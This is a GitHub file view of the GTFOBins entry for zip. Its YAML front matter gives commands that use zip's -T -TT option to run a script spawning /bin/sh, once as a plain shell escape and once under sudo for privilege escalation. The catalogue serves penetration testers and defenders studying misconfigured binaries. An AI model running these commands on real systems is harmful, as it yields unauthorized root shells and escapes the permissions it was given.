GTFOBins.github.io/_gtfobins/zip.md

12 lines
297 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-interactive:
- code: echo "/bin/sh" > /tmp/run.sh
chmod +x /tmp/run.sh
zip z.zip * -T -TT /tmp/run.sh
sudo-enabled:
- code: echo "/bin/sh" > /tmp/run.sh
chmod +x /tmp/run.sh
sudo zip z.zip * -T -TT /tmp/run.sh
---